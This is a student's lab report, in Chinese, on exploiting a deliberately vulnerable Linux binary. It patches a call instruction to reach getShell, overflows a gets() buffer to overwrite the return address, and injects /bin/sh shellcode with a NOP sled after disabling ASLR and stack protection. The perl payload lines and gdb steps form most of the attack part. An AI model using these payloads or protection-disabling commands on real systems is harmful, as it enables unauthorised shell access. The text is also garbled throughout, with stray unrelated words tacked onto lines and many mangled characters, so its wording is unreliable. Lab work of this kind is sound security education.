Exp1 PC平台逆向破解 20154308张珊珊

Exp1 PC平台逆向破解1 20154308张珊珊

1.实验目标

本次实践的对象是一个名为pwn1的linux可执行文件。linux

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。shell

该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。实践目标即为想办法运行这个代码片断。vim

  • 三个实践内容以下:
    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个本身制做的shellcode并运行这段shellcode。
  • 这几种思路,基本表明现实状况中的攻击目标:
    • 运行本来不可访问的代码片断
    • 强行修改程序执行流
    • 以及注入运行任意代码。

本次实验主要内容为经过第一种方法达到实践目标。windows

2.直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
  • 学习目标:理解可执行文件与机器指令
  • 进阶:掌握ELF文件格式,掌握动态技术

2.1 在pwn1文件所在目录打开终端,备份文件并更改文件名为学号,命令以下:sass

cp pwn1 20154308

2.2 利用反汇编命令查看该文件的机器指令,命令以下:安全

objdump -d 20154308

从图中能够看到主函数中调用位于8048491处的foo函数,对应的机器指令为e8 d7 ff ff ff,经过猜想可知e8为跳转之意。服务器

原本正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令,CPU就会转而执行“EIP+d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba+d7ffffff=80484ba-0x29正好是8048491这个值。在这里进行计算时要注意在计算机内是采用小端模式即低字节优先。dom

main函数调用foo,对应机器指令为“e8d7ffffff”,那咱们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。函数

47d-4ba获得补码,是c3ffffff。下面咱们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。工具

2.3 进入该文件的vi编辑模式,命令以下:

vim 20154308

2.4 按一下esc键,敲入以下命令,查看其十六进制格式

:%!xxd

2.5 键入以下命令,/表示查找

2.6 按一下esc键,经过方向键将光标移到修改处,按r表示修改,将d7修改成c3

2.7 键入以下命令,转回原格式,并存盘退出

:%!xxd -r
:wq

2.8 再利用反汇编命令查看该文件

objdump -d 20154308

能够看到,原先的机器指令e8d7ffffff已经改成e8c3ffffff,调用的也是咱们所但愿的getshell函数。

如此一来,本次实验的第一部分就结束了。

3.经过构造输入参数,形成BOF攻击,改变程序执行流

  • 知识要求:堆栈结构,返回地址
  • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
  • 进阶:掌握ELF文件格式,掌握动态技术

3.1 反汇编,了解程序基本功能

反汇编首先经过反汇编分析该文件,发现该可执行文件正常状况下是调用foo函数,而foo函数中使用了gets函数,该函数不会检查用户输入的长度,因此咱们能够经过输入过长的参数,使超过部分溢出,覆盖返回地址,形成BOF攻击,改变程序执行流。

3.2 确认输入字符串哪几个字符回复该到返回地址

调试并运行该文件gdb 20154308 r,接下来即要求输入参数,咱们尝试性地输入1111111122222222333333334444444455555555
执行结果以下图所示,报错。

如今咱们经过命令info r查看各个寄存器内的值能够发现此时eip内的值为0x35353535,即ASCII 5,也就是说咱们输入的最后八个5中的某四个覆盖了返回地址。

为了进一步肯定是哪四个,咱们从新运行该文件r,并输入1111111122222222333333334444444412345678,此时能够发现eip的值为0x34333231,即ASCII 1234,也就是说上述字符串中的1234最终覆盖到了堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。咱们只要把这四个字符替换为getshell的内存地址,输给20154308,该文件就会运行getshell。

3.3 确认用什么值来覆盖返回地址

在以前咱们知道getshell的内存地址是0804847d,加上以前所学在计算机内采用小端优先存储,咱们能够肯定须要输入的字符串为11111111222222223333333344444444\x7d\x84\x04\x08

3.4 构造输入字符串

因为咱们无法经过键盘输入指定的16进制,咱们经过如下命令来完成此操做

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

并经过xxd查看其十六进制格式

而后将input的输入,经过管道符|,做为20154308的输入

(cat input; cat) | ./20154308

此时main函数成功地调用了getshell函数,此时咱们就能够输入shell指令了,如图

4.注入shellcode并执行

4.1 准备一段shellcode

  • shellcode就是一段机器指令(code)
    • 一般这段机器指令的目的是为获取一个交互式的shell(像linux的shell或相似windows下的cmd.exe),
    • 因此这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

4.2准备工做

修改设置

apt-get instal prelink下载安装ececstack,不然接下来的命令没法执行

execstack -s 20154308设置堆栈可执行

execstack -q 20154308查询堆栈的文件是否可执行

more /proc/sys/kernel/randomize_va_space

echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化

more /proc/sys/kernel/randomize_va_space


4.3 构造要注入的payload

经过构造 anything+retaddr+nops+shellcode 来构造攻击buf。nop一为是了填充,二是做为“着陆区/滑行区”。咱们猜的返回地址只要落在任何一个nop上,天然会滑到咱们的shellcode。

咱们使用以下shellcode

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

并注入这段攻击buf (cat input_shellcode;cat) | ./pwn20154308

最后的\x4\x3\x2\x1会覆盖到堆栈上返回地址的位置,下面咱们要肯定返回地址的位置填什么。

打开另外一个终端,用gdb调试pwn20154308这个进程

  • ps -ef | grep pwn20154308 找到进程号
  • gdb 启动gdb调试这个进程
  • disassemble foo 经过设置断点,来查看注入buf的内存地址
  • break *0x080484ae
  • 再另外一个终端里按下回车
  • 回到原终端,c

info r esp 查看寄存器地址

x/16x 0xffffd3ac 此时看到01020304,继续缩小范围,直到找到90909090,即咱们的shellcode开始的地址,即0xffffd38c

找到相应地址后,咱们使用c quit退出调试

01020304的地址是0xffffd3ac,就是返回地址的位置。shellcode就挨着,因此返回地址是 0xffffd3b0,90909090的地址是0xffffd38c,因此shellcode的地址是0xffffd390

(吸收讲义上的教训)咱们将以前的shellcode改成

perl -e 'print "A" x 32;print "\xb0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x90\xd3\xff\xff\x00"' > input_shellcode

前面的32个A用来填满buf,\xb0\xd3\xff\xff为返回地址,剩下部分为shellcode

并注入这段buf (cat input_shellcode;cat) | ./pwn20154308

执行结果以下

攻击成功!

3.实验总结

  • 什么是漏洞?漏洞有什么危害?
    • 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可使攻击者可以在未受权的状况下访问或破坏系统。
    • 漏洞的存在,很容易致使黑客的侵入及病毒的驻留,会致使数据丢失和篡改、隐私泄露乃至金钱上的损失,如:网站因漏洞被入侵,网站用户数据将会泄露、网站功能可能遭到破坏而停止乃至服务器自己被入侵者控制。
  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

汇编指令 机器码
NOP 90
JNE 75
JE 74
JMP eb
CMP 39
  • 在计算补码的部分稍微有点吃力,须要在课下复习有关补码知识。
  • 有些指令的含义还不是很清楚,虽然不影响实验的思路,可是会致使实验的不畅,须要在课下了解掌握一些基本指令。
  • 对于堆栈存储方式的学习须要增强。
  • 总之,初次将之前学过的知识以及新知识结合起来并实际运用,对我来讲仍是有点困难,可是这也激发了个人兴趣,会在课下更加深刻地思考有关本次实验的原理。
相关文章
相关标签/搜索